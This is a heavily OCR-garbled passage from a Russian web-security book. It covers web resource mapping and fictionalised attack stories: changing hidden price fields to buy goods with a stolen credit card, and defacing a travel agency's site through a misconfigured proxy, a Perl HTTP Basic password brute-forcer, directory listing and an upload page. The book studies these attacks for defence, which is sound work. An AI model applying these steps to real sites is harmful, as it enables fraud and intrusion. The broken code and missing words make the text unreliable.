обеспечения безопасности HTML формы являются наиболее важным компонентом,
позволяющим получить доступ к Web приложению.
Нетрудно определить, в состав каких Web ресурсов входят HTML формы. В про
цессе простого поиска подстроки, соответствующей дескриптору
можно полу
чить перечень всех Web ресурсов, содержащих HTML формы. Возможно, кроме по
иска форм, стоит уделить внимание и относящимся к ним полям. Зачастую в формах
содержатся скрытые поля, в которых передается важная информация. Каждая форма
используется для достижения какой либо конкретной цели. Очень важно разобраться
с назначением формы и связать с ней набор потенциальных атак, которые могут быть
реализованы. Web ресурсы с формами должны быть обязательно идентифицированы.
При анализе безопасности им нужно уделять повышенное внимание.
5. Идентификация аплетов и объектов
Зачастую в состав Web ресурсов входят активные компоненты, встраиваемые в до
кумент в качестве объектов. Хорошо известными примерами встроенных объектов яв
ляются
Java и компоненты ActiveX. Некоторые Web приложения спроектиро
ваны таким образом, что аплеты, выполняемые в клиентских броузерах, предоставля
ют гораздо более богатый интерфейс, чем обычные HTML формы. По существу,
такое приложение удовлетворяет требованиям платформы клиент/сервер, где управле
ние клиентской частью осуществляется с использованием
а в состав серверной
части входит компонент, напрямую связанный с
Это прямое соединение не
должно устанавливаться через протокол HTTP. Подобные объекты могут создать
брешь в подсистеме безопасности на уровне приложения. Действительно, достаточно
легко выполнить обратное проектирование байт кода аплетов, получить их исходный
код и тем самым проникнуть во внутреннюю часть приложения. Любые изъяны в
проектировании или реализации могут привести к возможности выполнения обрат
ного проектирования.
Найти аплеты очень просто. Для этого в HTML коде достаточно выполнить поиск
дескриптора
Рассмотрим
который, возможно, предна
значен для взаимодействия с серверной базой данных. Ниже приведен фрагмент кода,
взятый из файла
width=400 height=150>
<param
</applet>
В дескрипторе <APPLET> указано, что аплет Java находится по адресу
передается два параметра ---
и
db instance.
Компоненты ActiveX компании Microsoft вставляются в код HTML аналогичным
образом. Дескриптор <OBJECT> можно использовать вместо дескриптора <APPLET>. Сле
дующий фрагмент кода взят из файла
192
Часть II. Секреты URL
<OBJECT
</OBJECT>
6. Поиск клиентских сценариев
Клиентские сценарии на языке JavaScript или VBScript внедряются в HTML код
с использованием дескриптора <SCRIPT>. В процессе анализа связей необходимо
идентифицировать Web ресурсы, в состав которых входят клиентские сценарии, по
скольку им необходимо уделить гораздо больше внимания, чем обычному HTML
содержимому. Иногда проверка корректности
реализуется разработ
чиками в клиентских сценариях. Однако такую проверку можно обойти, изменив за
груженный в броузер исходный код HTML или вообще запретив выполнение сцена
риев. Необходимые для этого действия достаточно просты.
7. Анализ комментариев и адресов
электронной почты
Web ресурсы разрабатываются с использованием языков высокого уровня. Как и
большинство языков программирования, язык HTML позволяет использовать в доку
ментах комментарии. Комментарии HTML рассматривались в главе 7.
Заключительные замечания
Теперь в нашем распоряжении достаточно материала, чтобы приступить к по
строению матрицы Web ресурсов. На основе информации, полученной при исследо
вании узла
можно сформировать следующую матрицу. Все
данные были получены при выполнении этапов
Объ Дан Клиент
Тип ре
Форма
cookie
X
X
X
X
tools.exe
,
setup.exe
X
X
X
/servlet/showtrans?id=13445466
Глава 8. Анализ связей
193
/contacts/
/profile/
X
X
/private/
X Стан
дартная
/logoff/logoff
X
Этап 4: инвентаризация Web ресурсов
В результате выполнения этапов было получено много важной информации.
Последний этап состоит в инвентаризации всех найденных на сервере Web ресурсов.
Из всех возможных методов классификации для разделения Web ресурсов авторы ре
комендуют использовать описанные ниже категории.
• Статическое содержимое. К этой категории можно отнести все содержимое
которое не изменяется ни при каких HTTP запросах и не
зависит от параметров, переданных броузером. Такие страницы являются наи
более простыми ресурсами. Пассивность подобных ресурсов обусловила их ми
нимальную уязвимость от любых атак.
• Серверные сценарии. К этой категории относятся серверные страницы ASP, сце
нарии
и т.д. Серверные сценарии, получающие данные от
Web броузеров или из параметров URL, требуют повышенного внимания. При
определении степени уязвимости таких ресурсов следует отдельно учитывать
также атаки, связанные с ошибками проверки входных данных.
• Дополнительные модули. К этой категории относятся серверы приложений и ин
терпретаторы языков Web приложений, такие как ColdFusion, PHP и
установленные на внешних Web серверах. В главе 6 описано, как функционируют
такие серверы приложений и как их идентифицировать. Те же приемы можно
использовать для определения Web ресурсов, относящихся к этой категории.
•
и объекты. К этой категории относятся
Java или другие вне
дренные в HTML код объекты, которые выполняются броузером.
• Клиентские сценарии. К этой категории следует отнести весь код, размещаемый ме
жду дескрипторами
Этот код также выполняется броузером.
• Cookie. К этой категории относятся данные cookie, получаемые от различных
Web ресурсов. Здесь следует учитывать также и сами Web ресурсы, которые ге
нерируют такие данные.
• HTML формы. К этой категории относятся все Web ресурсы, в состав которых
входят HTML формы. Формы необходимо подробно проанализировать, осо
бенно те из них, которые предназначены для передачи регистрационных дан
ных или содержат скрытые поля.
Теперь можно вернуться к полученным данным и классифицировать ресурсы и
другие элементы, представив отчет в виде таблицы.
Тип ресурсов
Количество ресурсов
Статические страницы
3
Серверные сценарии
5
Серверные страницы приложения
2
194
Часть II.
URL
и объекты
1
Клиентские сценарии
6
Ресурсы, генерирующие данные cookie
2
Количество фрагментов cookie
7
Ресурсы, содержащие формы HTML
4
Количество форм HTML
5
Количество скрытых полей
Резюме
Построение карты Web узла и сбор всей нужной информации, предоставляемой
различными Web ресурсами, оказывается крайне важным при оценке защищенно
сти Web приложений. В контексте предоставляемых возможностей и архитектуры
каждый Web узел является уникальным. Сбор всей возможной информации о Web
приложении позволяет существенно упростить
изъянов и является отправ
ной точкой для проведения анализа его защищенности. Построение инвентаризаци
онной матрицы Web ресурсов и списка всех Web ресурсов поможет оценить риск,
связанный с использованием Web приложения.
Глава 8. Анализ связей
195
Случай из жизни: как Борис помог Анне
достать необходимые материалы
Анна --- двадцатидвухлетняя художница --- большую часть лета проводила в путе
шествиях по русским деревням, рисуя пейзажи маслом на холсте. Ее картины были
сдержанными, но она использовала четкие и яркие краски, что делало ее полотна не
много напоминавшими работы Моне --- ее идеала. Через два года после смерти отца
она унаследовала его студию, где и демонстрировала свои работы.
В то время Россия была на грани экономического и политического кризиса, и
приобретение произведений искусств считалось роскошью. За последний месяц Анна
продала только одну картину, причем по весьма низкой цене. Ее заработком были
мелкие заказы какого либо конкретного пейзажа или портрета. Однако у Анны не
было денег на краски и кисточки даже для одной картины. Впервые в жизни она ста
ла бояться, что не сможет прокормить себя и свою двухлетнюю дочь. Еще никогда
она не была так бедна!
У Анны был друг Борис, специалист по компьютерным технологиям; в свободное
время он погружался в тайный мир компьютерного
И хотя Борис говорил с
Анной на эту тему, ей было известно, что работа нравилась ему только из за денег,
которые он за нее получал. Его истинной страстью было
взлом
корпоративных Web узлов и хвастовство перед друзьями. Борис обладал одним ред
ким качеством, которое считалось "элитным" в то время: он мог приобретать товары
в интерактивном магазине по существенно сниженным ценам и до сих пор ни разу не
был пойман.
Борису было известно, что у Анны тяжелые времена, и поэтому по дороге домой
он часто заходил к ней в студию.
"Привет, Анна. Сегодня есть новые заказы?" --- спросил Борис, поднимаясь по ле
стнице.
"Да, --- ответила Анна мрачно.
--- Один пожилой мужчина зашел сегодня в студию
и попросил меня нарисовать склон холма, расположенного возле его дома. За эту ра
боту он предложил 500 долларов...
--- Голос Анны был спокойным и не выражал ни
каких эмоций, хотя предложенная цена была гораздо больше той суммы, которую она
могла рассчитывать получить за одну из своих картин.
--- Но у меня не хватает красок
и полотна, чтобы закончить работу". Борис ответил: "Не волнуйся, Анна, у меня есть
план. Что именно тебе нужно, чтобы довести дело до конца?"
"Мне нужны масляные краски и полотно размером 80x55 см. Как минимум, тре
буется еще 30 тюбиков разных цветов. Кроме
не обойтись без чистящего средст
ва для кисточек. А зачем ты обо всем этом спрашиваешь?"
"Неважно, --- коротко ответил Борис.
--- Какого именно цвета нужны краски?"
Анна стала записывать на листке бумаги названия красок. Затем она записала, какое
чистящее средство ей подходит. Борис и раньше помогал ей, однако гораздо в мень
шей степени. Анна терялась в догадках и нервничала, поскольку совершенно не пред
ставляла, что Борис планирует делать. Однако ей очень нужна была помощь.
Борис, как ты все это достанешь?" --- спросила Анна.
"Не беспокойся об этом. Я получу их в течение недели", --- пообещал Борис.
Борис поспешил домой и включил переносной компьютер --- свое любимое ору
жие. Он отыскал небольшой специализированный интерактивный магазин, располо
женный в США. Ему было известно, что подобные магазины имеют достаточно про
стую архитектуру и выявлению фактов мошенничества в них не уделяется
внимания. Итак, Борис приступил к своему любимому занятию. Он просматривал ис
ходный текст каждой страницы и искал изъяны, которые могли оказаться полезными
в данной ситуации. Менее чем за десять минут он нашел то, что искал. Это была
198
Часть III
стандартная ошибка, связанная с использованием скрытых дескрипторов HTML, ко
торая была известна уже больше года. Этот изъян позволял злоумышленнику изме
нить цену товара в интерактивном магазине. Например, официальную цену книги,
составляющую $39.99, можно было изменить до $3.99 или $0.99 и даже указать отри
цательное число. Многие разработчики Web приложений выполняли гораздо более
сложную проверку корректности данных на сервере, однако на данном Web узле по
добная проверка не проводилась. Поэтому такой тип атаки был вполне подходящим.
Борис приступил к работе, собирая необходимые Анне материалы и помещая их в
электронную торговую тележку. После этого он загрузил исходный HTML код и из
менил стоимость каждого товара торговой тележки: $20 на $2, $50 на $5 и т.д. В ре
зультате весь набор необходимых материалов, который изначально стоил $250, обо
шелся всего в $16. Он ввел номер кредитной карточки, которая принадлежала Елене
Сегодня утром этот номер был похищен, а затем отправлен в
группу Бориса. Затем он щелкнул на кнопке Submit. Дело было сделано.
Через семь дней Борис появился перед дверью
Как они это делают
ГЛАВА 9
Яне
что вызывает большее отвращение: носить твое лицо
или ходить в твоем теле. Почему бы нам не поменяться обратно
и считать, что мы в расчете. Договорились?
Кастор (Николас
с лицом Джона Траволты)
из фильма "Без лица
Введение
В одной из утренних газет появилась статья о взломе некой компьютерной компа
нии. В статье были приведены цитаты главного менеджера по информационным тех
нологиям этой компании и нескольких экспертов по вопросам безопасности, которые
должны были расследовать деятельность опытного хакера. В действительности оказа
лось, что была реализована автоматизированная атака с использованием простого
сценария, работа которого основывалась на изъяне Unicode сервера IIS. В результате
главная страница компании была заменена "мусором". Однако факт кражи $30 000 с
компьютеров основного банка того же города в статье не упоминался. При этом глав
ная Web страница банка не претерпела никаких изменений.
Большинство взломов, о которых сообщается в средствах массовой
связаны с подменой содержимого Web узлов или, как мы это называем, с наличием
следов в
Большинство подобных взломов выполняются с исполь
зованием готовых средств, обеспечивающих получение административных привилегий
на целевом узле. Это позволяет хакерам заменять содержащиеся на нем Web
страницы собственными версиями. В отдельных случаях подмена содержимого Web
узла выполняется каким то другим оригинальным способом. Возможно,
ники не всегда смогут получить привилегии на уровне какого либо пользователя, но
они всегда смогут воспользоваться изъянами плохо написанных сценариев или непра
вильно сконфигурированных Web серверов.
В этой главе рассматриваются и анализируются средства взлома, которые использовал
некий хакер
работающий сетевым администратором в небольшой компании из
Сан Франциско. Он воспользовался весьма необычным методом для реализации атаки,
направленной на подмену содержимого
туристического агентства. В конце главы
приводятся контрмеры, позволяющие защититься от подобных атак.
Взлом Web узла компании Defacing
Acme
Inc.
Небольшое туристическое агентство Acme Travel, Inc. существует уже много лет,
обслуживая как бизнесменов, так и отдыхающих. В основном компания работает че
рез бесплатный телефонный номер. В начале 2000 года владельцы компании решили
организовать собственный домен
и разместить свой Web узел
сервере провайдера услуг Internet AcmeHosting.net в Чикаго. Системный администратор
компании Роб стал выполнять также функции администратора Web узла компании.
Он хорошо знал операционную систему Linux и установил proxy сервер, что позволи
ло сотрудникам компании подключиться к Internet через общее соединение DSL.
Кроме того, на proxy сервере Роб установил сервер Apache, чтобы дать возможность
Бруку (Web дизайнеру) регулярно обновлять страницы на Web узле компании.
Web узел компании Acme состоял всего из восьми статических Web страниц и не
скольких изображений. Домен
был предназначен исключительно для
того, чтобы предоставить пользователям Internet электронный каталог услуг компании.
Наиболее ценной частью информации, хранящейся на сервере, был бесплатный теле
фонный номер. Внешний вид Web узла компании Acme Travel показан на рис.
Домен
создавался также для предоставления служащим компании
адресов электронной почты, чтобы они могли общаться с клиентами через Internet.
Для этого Роб настроил на proxy сервере, работающем под управлением Linux, прото
колы SMTP, POP3 и программу
Глава 9.
201
is dedicated to
the
travel.
on
our travel
to help
•1th your
24
a day
Web узел компании Acme Travel
Поздней ноябрьской ночью одно из таких почтовых
читал Мэллори.
Он недавно вернулся из Индианы, где был в гостях у своей семьи. Письмо пришло из
туристической компании Acme Travel, Inc. и было связано с его недавней поездкой.
Путешествие оказалось просто ужасным. Вместо хорошего бокового места в самолете
Мэллори получил место в середине хвостовой части. Его пожелания по поводу веге
тарианской пищи также не были переданы сотрудникам авиакомпании. Однако
больше всего Мэллори раздражали $30 комиссионных, заплаченных им компании
Acme Travel за резервирование билета. С таким же
он мог заказать билет и
в самой авиакомпании.
Поскольку Мэллори любил рыскать по сети в поисках плохо защищенных ресур
сов, он решил воспользоваться своими навыками и проучить компанию Acme Travel,
Inc. Идентификация IP адреса и быстрое сканирование портов показали, что сам
Web узел
размещается на сервере acmehosting.net. Однако на серверах
провайдера услуг Internet он не нашел ничего интересного. Не было никаких от
крытых портов, кроме тех, которые использовались оболочкой SSH и протоколом
HTTP, и в броузере можно было увидеть только статические страницы и файлы
изображений. Но при просмотре почтового сообщения Мэллори пришла в голову
идея. В туристической компании должен быть выход в Internet. В ее офисе должна
существовать небольшая внутренняя сеть, чтобы сотрудники могли получать и от
правлять почтовые сообщения. Без этого почтового сообщения выявить присутствие
компании Acme Travel в Internet было бы абсолютно невозможно. В заголовке письма
содержалась следующая информация:
202
Часть III. Как они это делают
via
Received: from
example.com) by mta497.netmail.com with
[10.3.2.1] by example.com (8.8.8/8.8.5) with
id RAA08342 for
Message ID:
Aug 2001 04:20:23 +0530
From: "Acme Travel Service"
com
Subject: TICKET CONFIRMATION
TICKET
TEL (800) 555 ACME
В строке
by example.com содержался IP адрес компании
Acme Travel.
сразу приступил к сканированию портов узла
Утилита
Nmap предоставила следующий список открытых портов:
Port
State
Service
open
ssh
open
smtp
open
http
open
open
http proxy
Мэллори определил, что порты 22, 25 и ПО блокируются TCP оболочкой. Для реа
лизации атаки можно было воспользоваться лишь портами 80 и 8001. Кроме адреса
никаких других активных IP адресов обнаружить не удалось.
Составление схемы сети
Теперь Мэллори имел примерное представление об архитектуре сети. И его предполо
жения были очень близки к реальности. На рис. 9.2 изображена реальная структура сети.
Служащие компании Acme могли попадать в Web через порт 8001 proxy сервера
HTTP, установленного на узле
и отсылать почту через демон SMTP, запущен
ный на той же машине. Для получения электронной почты и ее распределения по поч
товым ящикам внутренней сети на сервере Linux демон
каждые 5 минут запускал
программу
Весь входящий трафик, кроме подключений SSH через
до
машнего компьютера Роба, блокировался TCP оболочкой. Сервер Apache использовался
в качестве внутреннего Web сервера, прослушивающего порт 80, а также proxy сервера,
связанного с портом 8001. Сервер Apache был настроен таким образом, чтобы прини
мать запросы только от узлов с адресами из диапазона
и с локального адреса
Роб не планировал пускать кого либо еще в свою внутреннюю сеть.
Мэллори попробовал получить доступ к портам 80 и 8001 через свой броузер. Од
нако каждый раз возвращался код ответа 4 03 Forbidden (рис. 9.3).
Однако Мэллори не отказался от своей затеи. Перед тем как уйти спать, он решил
попытать счастья еще раз.
Тонкости использования proxy серверов
Последняя попытка Мэллори заключалась в том, чтобы выяснить, правильно ли
сервер Apache по адресу
прослушивающий порт 8001. Если он раз
решает с внутренних адресов отправлять HTTP запросы во внешнюю сеть, то, воз
можно, он будет и принимать HTTP запросы.
9. Киберграффити
203
Центр данных компании Acme Travel, Inc.
Proxy сервер Linux
(10.3.2.1,10.0.1.1)
Маршрутизатор
DSL
Внутренняя сеть офиса
(10.0.1.2... 10.0.1.255)
Рис. 9.2. Внутренняя сеть компании Acme Travel, Inc. и сервер провайдера услуг Internet
Forbidden
You don't have
to access / on
server
at
Рал SO
Forbidden
You don't have
to / on this server
Рис. 9.З. Передача HTTP запросов на порты 80 и 8001 запрещена
204
Часть III. Как они это делают
Воспользовавшись утилитой netcat, Мэллори отправил запрос GET h t tp ://
127.0.0.1:80/
на порт 8001
Этот запрос сообщает proxy серверу
о том, что необходимо установить соединение HTTP с портом 80 узла
полу
чить ответ HTTP и данные, а затем передать их обратно клиенту. Приведенные ниже
результаты свидетельствуют о том, что этот трюк сработал!
10.3.2.1 8001
GET
HTTP/1.0
HTTP/1.0 401 Authorization Required
Server:
WWW Authe ntic ate: Basic realm "special directory"
Content Type: text/html; charset=iso 8859 l
<!DOCTYPE
PUBLIC
HTML
<TITLE> 401 Authorization required </TITLE>
</HEAD><BODY>
<Hl>Authorization
This server not v e rify that you are authored to access the document requested.
Either you supplied the wrong credentials (e.g., bad password),
or your browser doe sn 't understand how to supply the credentials
<ADDRESS> Apache/1.3.12 Server at redproxy Port 80</ADDRESS>
Мэллори на шаг продвинулся к заветной цели. Вместо HTTP ответа 403 Forbidden
он получил сообщение 401 Authoriz atio n Required. Этот ответ передал сервер Apache,
прослушивающий порт 80, а не 8001. Давайте на минуту остановимся и проанализи
руем эту атаку более подробно. На рис. 9.4 показано, что же произошло.
Взломщик
Web узел
V
Proxy сервер
(8001)
Proxy сервер неправильно
настроен и пропускает
реверсивные запросы
во внутреннюю сеть
10.0.1.10
Рис. 9.4. Схема правильного и некорректного использования proxy сервера
Глава 9. Киберграффити
205
Если пользователи внутренней сети компании хотят получить доступ к Web узлам
в Internet, то их броузеры должны быть настроены на использование proxy сервера
На рис. 9.4 показано, что пользователь на узле 10.0.1.12 пере
дает запрос на получение страниц с Web узла
Этот запрос на
правляется на сервер
связанный с портом
После этого proxy сервер пе
редает HTTP запрос на узел
получает необходимые данные и отправля
ет их обратно клиенту по адресу
Proxy сервер представляет собой
систему (dual homed
использующую адрес
во внутренней сети и адрес
в другой (внеш
ней) сети. Когда
попытался получить доступ по адресу
или
он получил ответ 403 Forbidden. Сервер был настроен так,
чтобы отклонялись все
запросы, отправленные со всех адресов, кроме
10.0.1.1 254 и 127.0.0.1. Однако оказалось, что HTTP запросы к proxy серверу раз
решалось передавать с любых адресов. Такую ошибку Роб мог случайно допустить в
процессе настройки proxy сервера. Поэтому, когда Мэллори запрашивал Web
страницу
через proxy сервер 10.3.2.1:8001, proxy сервер старательно
обрабатывал этот запрос. Он устанавливал связь с Web сервером того же узла, кото
рый прослушивал порт 80, получал ответ и отсылал его обратно Web броузеру на ком
пьютере Мэллори. Аналогичная атака рассматривалась в главе 6.
На следующем этапе Мэллори настроил свой броузер так, чтобы автоматически
использовался proxy сервер 10.3.2.1:8001. На рис. 9.5 показано диалоговое окно на
стройки параметров броузера Netscape.
В
!
ifi • Languages
I • •Smart
33 Roaming Access
Composer
ffi Offline
Cache
9.5. Настройка proxy сервера в броузере Netscape
Теперь Мэллори
ввести в броузере URL адрес
чтобы запрос был перенаправлен по адресу
Однако совершенно неожи
данно снова был получен ответ Authorization Required. Администратор узла дейст
вительно не хотел разрешать пользователям доступ к Web серверу. Однако Мэллори
это не остановило.
206
Часть III. Как они это делают
Подбор паролей, используемых в процессе
HTTP аутентификации
Возможно, из всех протоколов аутентификации, используемых на уровне прило
жения, путем простого перебора (т.е. "в лоб") легче всего взломать пароли, приме
няемые в процессе HTTP аутентификации. В настоящее время используется три ос
новных типа аутентификации HTTP: Basic, Digest и NTLM. Механизм аутентифика
ции Basic --- это первая попытка обеспечения защищенности определенных областей
Web узла с помощью пароля. Каждый раз, когда броузер получает HTTP ответ с ко
дом
он выводит на экран диалоговое окно с запросом имени пользователя и па
роля. После ввода необходимых данных они кодируются в соответствии со схемой
шифрования Base64 и отправляются в новом HTTP запросе на получение того же ре
сурса. Сервер выполняет декодирование и сравнивает полученные регистрационные
данные с пользовательским именем и паролем, содержащимися в его базе данных.
Если сравнение завершилось успешно, то вместе с запрошенными данными сервер
отправляет ответ 200 ОК. В противном случае сервер передает HTTP ответ с кодом
Аутентификация NTLM используется сервером IIS компании Microsoft для иден
тификации пользователей, которые используют учетные записи Windows NT. В про
цессе аутентификации Digest используется алгоритм шифрования MD5. Этот тип ау
тентификации не поддерживается ни броузером Netscape, ни Internet Explorer. Имен
но поэтому он и не получил широкого распространения. Единственным популярным
броузером, который поддерживает аутентификацию Digest, является Opera.
После получения HTTP ответа с кодом 401
просмотрел весь свой ката
лог, в котором содержались написанные им сценарии на языке Perl, и нашел старый
сценарий, предназначенный для подбора паролей HTTP. В этот сценарий он добавил
библиотеку LWP (Library for WWW access with Perl). Для работы сценарию Perl требо
валось два файла:
с именами пользователей и words.txt со списком паролей.
Кроме того, Мэллори написал функцию
чтобы изменять пароли с помощью
различных приемов, таких, как изменение регистра, изменение направления чтения,
добавление цифр и символов и даже преобразование слов в так называемую хакер
форму, когда символы е, 1 и t заменяются на 3, 1 и 7 соответственно. Сценарий
нужно было модифицировать, чтобы обеспечить возможность выполнения подбора
паролей через proxy сервер. Именно для этого и предназначалась библиотека LWP, в
состав которой входят требующиеся методы.
Ниже приведена модифицированная версия сценария Мэллори.
01:
02:
03: use
04:
05:
"users.txt")
удается открыть файл с именами
06: open(WORDS, "words.txt")
удается открыть файл с паролями")
07:
=
=
09:
10:
12: $ua = new
13:
14: $request = new
15: $i 0;
16: flag = 0;
17: foreach $user (§users) {
, Глава 9.
207
19:
chomp ($user);
20:
foreach
21:
22:
Trying
++$i);
23:
$request >authorization_basic($user,
24:
$result =
25:
success) {
26:
1;"
27:
print
28:
last;
29:
}
30: }
31: last if $flag;
32: }
Приведенный сценарий достаточно прост. В строках
пользовательские имена и
пароли загружаются в массивы. В строке для изменения паролей вызывается функ
ция
которой в качестве параметра передается массив
В строках 12, 13
и 14 создается объект
который инициализируется с использованием адреса и порта
proxy сервера, а также URL адреса
В двух вложенных циклах между
строками 18 и 32 перебираются все комбинации имен пользователей и паролей. В стро
ке 23 генерируется запрос на аутентификацию HTTP, а в строке 24 этот запрос переда
ется proxy серверу. В строке 25 проверяется, получен ли ответ 200 ОК. Если такой ответ
получен, то сценарий подбора паролей завершает свою работу.
После запуска сценария имя пользователя и пароль удалось подобрать с 386 й по
пытки! Вот несколько последних строк, сгенерированных сценарием в процессе работы.
Trying
365: Trying
Trying
367: Trying
368: Trying
Trying
370: Trying
Trying
372: Trying
373: Trying
374: Trying
Trying
376: Trying
377:
acme
378: Trying
Trying
Trying
382: Trying
383: Trying
384: Trying
385: Trying
386: Trying
It
Пользовательскому имени admin соответствовал пароль 7rav31, который представлял
собой
форму записи слов travel.
загрузил файл паролей, в кото
ром содержались слова acme, travel и некоторые другие распространенные пароли.
Итак, Мэллори справился с аутентификацией. Теперь он мог настроить броузер
Netscape для использования proxy сервера
и воспользоваться учетной
208
Часть III. Как они это делают
записью admin/7
чтобы проникнуть на Web узел и приступить к его исследова
нию. На рис. 9.6 показано, как Мэллори вводит в броузере регистрационные данные
при обращении к узлу
через proxy сервер.
Authorization Required
This
could not verify that you are
to access the document
requested. Either you supplied the wrong credentials
bad password), or
your browser doesn't understand how to supply the credentials required.
Port 80
9.6. Успешная аутентификация HTTP предотвра
щает получение очередного ответа с кодом 401
Просмотр каталогов
То, что произошло после этого, оказалось абсолютно неожиданным. После того
как Мэллори отправил запрос через proxy сервер и подобрал регистрационные дан
ные, сервер стал беззащитным. Даже слишком беззащитным. Вместо Web страницы
сервер выдал содержимое корневого каталога Web документов. Для Мэллори это было
большой удачей, поскольку теперь ему не нужно было ничего угадывать. С этого мо
мента он мог легко исследовать содержимое Web узла, один каталог за другим. На
рис. 9.7 показано содержимое корневого каталога сервера.
Обычно список
отображается в том случае, если отсутствует Web
страница, используемая по умолчанию, такая, как
Если на сервере не от
ключен режим отображения содержимого, а используемая по умолчанию страница от
сутствует, то будет отображено содержимое корневого каталога документов. А Роб не
позаботился об отключении этого режима.
В окне броузера отображается три каталога: /admin/, /images/ и /stage/. Сначала
Мэллори решил просмотреть содержимое каталога /stage/ (рис. 9.8).
В этом каталоге содержалась точная копия Web узла www.example.com. И тут
Мэллори понял, что Web узел туристической компании Acme Travel находился на ста
дии разработки. При этом все работы по проектированию выполнялись в офисе, а при
необходимости модифицированные страницы пересылались на сервер провайдера. Те
перь внимание Мэллори привлек каталог /admin/.
содержимое показано на рис. 9.9.
Глава 9. Киберграффити
209
Index of /
а
11 :12
1 1:39
Apache/1.3.12 Server at
Port SO
Puc. В окне броузера появился список каталогов
you
I
to
the needs
and
travel. We
t
on
airlines
our
today to help
with your
24
a day.
Puc. 9.8. Содержимое
/stage/
210
Часть III. Как они это делают
Index of /admin
fej
11:49
Server at
Port 80
9.9. Список файлов каталога
В этом каталоге содержалось два файла. Первый из них,
напоминает
сценарий оболочки UNIX, а не
Второй файл,
--- это сце
нарий РНР, предназначенный для управления Web узлом.
При запросе на получение файла
возвращается его полное содержи
мое. Это естественно, поскольку для Web сервера сценарий оболочки является обыч
ным текстовым файлом. Поэтому сервер возвращает его в неизменном виде. Вот со
держимое файла
t
для
на сервер
Создан
Сценарий запускается
синхронизации Web страниц
scp qCr i
\
t добавить запись в файл журнала, если репликация прошла успешно
date
Этот сценарий
для репликации содержимого Web узла из каталога /stage/
на сервер
Роб использовал команду scp с
для того, чтобы
скопировать содержимое этого каталога на сервер server326.ord.acmehosting.net, где и
размещается Web узел
На этом сервере есть учетная запись example,
все Web страницы узла
содержатся в каталоге /example/. Кроме
на этом сервере находится много других Web узлов. Использование
Глава 9. Киберграффити
211
не позволило
зарегистрироваться непосредственно на сервере
Однако для Мэллори еще не все было потеряно. Поскольку содержимое Web
узла регулярно реплицировалось с использованием демона
значит, если изме
нить Web страницы, находящиеся в каталоге /s t age/, то они будут реплицированы
на узел
Решить эту задачу помогает второй сценарий каталога /admin/. На рис. 9.10 пока
зана страница
Что же Мэллори увидел в окне броузера? Это Web интерфейс для управления Web
страницами каталога /stage/. Роб создал эту страницу, чтобы штатному Web дизайнеру
не потребовалось знакомиться с прелестями использования команды scp для копирова
ния страниц со своей рабочей станции на сервер. Сначала Роб объяснял Брук, как с ис
пользованием протокола FTP копировать Web страницы на сервер. Однако после обна
ружения изъяна в демоне tpd, он решил удалить
раз и навсегда.
acmetravel site management
upload web pages
delete files
A
html
9.10. Web страница sitemgmt.php
Загрузка модифицированных страниц
Именно интерфейс для управления Web узлом и требовался Мэллори! Провозив
шись с proxy сервером и взломом учетной записи с использованием собственного
сценария, он утолил жажду мести. Через час в распоряжении Мэллори было два фай
ла:
который должен был заменить главную Web страницу компании
Acme Travel,
и
идея использования которого была навеяна ста
рой популярной игрой.
На рис. 9.11 и 9.12 показано, как Мэллори загружал файлы на узел
212
Часть III. Как они это делают
acmetravel site management
upload web pages
\
File name: index
File 250 bytes
File type:
delete files
acmetravel/
html
9.11. Загрузка новой страницы
с использовани
ем страницы
Вполне довольный собой,
решил посмотреть на новую Web страницу.
Как только демон
запустит сценарий
Web страница будет скопиро
вана по адресу
и месть Мэллори свершится.
Не вызывает сомнения тот факт, что в 4 утра демон
запустил сценарий
В результате Web страницы Мэллори, а также остальное содержимое
Web узла были скопированы на Web сервер провайдера. На рис. 9.13 представлена
схема всей атаки в целом.
Пользователи, посетившиеузелhttp://w w w. example . co m/на следующийдень,увиде
ли Web страницу, представленную на рис. 9.14.
Вскоре в офисе компании Acme Travel, Inc. произошел настоящий скандал. Роб
попытался выяснить, как же все произошло. К счастью, Мэллори не получил доступ к
серверу на уровне какого либо пользователя или администратора. Он мог этого до
биться, если бы воспользовался РНР или CGI сценариями, позволяющими получить
доступ к командной оболочке через Web. Поскольку файлы журнала остались невре
димыми, эту атаку удалось легко отследить вплоть до небольшой компании из Сан
Франциско, занимающейся предоставлением услуг Internet. Содержимое Web узла
проще всего было восстановить с резервных копий. Кроме того, необходимо было из
менить конфигурацию сервера и задать правила фильтрации IP пакетов, которые
обеспечили бы блокировку всего запрещенного входного трафика.
Глава 9. Киберграффити
213
acmetravel site management
upload web pages
File name:
He size:
bytes
File type:
delete files
html
9.12. Загрузка файла allyourbase.jpg с использованием страницы
Измененные страницы из каталога
на сервере реплицируются на Web узел
Взломщик
Злоумышленник взламывает
proxy сервер компании и размещает
Web страницы в каталоге на сервере,
предназначенном для хранения их
промежуточных версий
В полночь содержимое каталога,
предназначенного для хранения
промежуточных версий Web страниц,
реплицируется на основной Web узел
Содержимое каталога
сервера подменено
Маршрутизатор
DSL
Корпоративная сеть
Рис. 9.13. Этапы атаки на узел
214
Часть III. Как они это делают
Hey been
an unsatisfied
customer
P. Модифицированная главная страница Web узла
Какие ошибки были допущены
Подмена содержимого Web узла
--- достаточно необычная атака.
В большинстве случаев хакеры используют уже готовые средства взлома, основанные на
известном изъяне, получают привилегии суперпользователя и модифицируют Web
страницы, находящиеся на узле. Эта атака не была даже направлена на сервер, на котором
содержались сами страницы. Злоумышленник обошелся тем, что взломал proxy сервер, на
котором находились Web страницы, предназначенные для
на Web сервер.
Подмена Web страниц, расположенных в рабочем каталоге, привела к тому, что содержи
мое Web узла было подменено после выполнения автоматической репликации.
Администратор proxy сервера принял некоторые превентивные меры против неже
лательного трафика. Однако некоторые уязвимые места все же остались. Первым, и
наиболее уязвимым, местом был HTTP порт proxy сервера. Он позволял использовать
proxy сервер для доставки HTTP запросов во внутреннюю сеть.
Даже несмотря на то, что Web узел был защищен механизмом аутентификации
злоумышленнику удалось легко обойти эту защиту. Он смог взломать пароль,
воспользовавшись собственным сценарием автоматического перебора. В настоящее
время доступно лишь несколько коммерческих программ подбора паролей, исполь
зуемых в процессе HTTP аутентификации. Ниже в этой главе будут рассмотрены две
наиболее популярные программы из этого класса --- Brutus и
Существенную помощь взломщику оказало также то, что, в отличие от большинст
ва других серверов, на данном сервере не был отключен режим просмотра каталогов.
Обычно при отсутствии Web страницы, используемой по умолчанию, сервер не дол
жен передавать броузеру перечень подкаталогов и файлов из каталога, к которому
Глава 9. Киберграффити
215
осуществляется доступ. В данном же случае режим просмотра каталогов оставался
включенным. В результате
незащищенными те области файлового про
странства сервера, которые должны быть
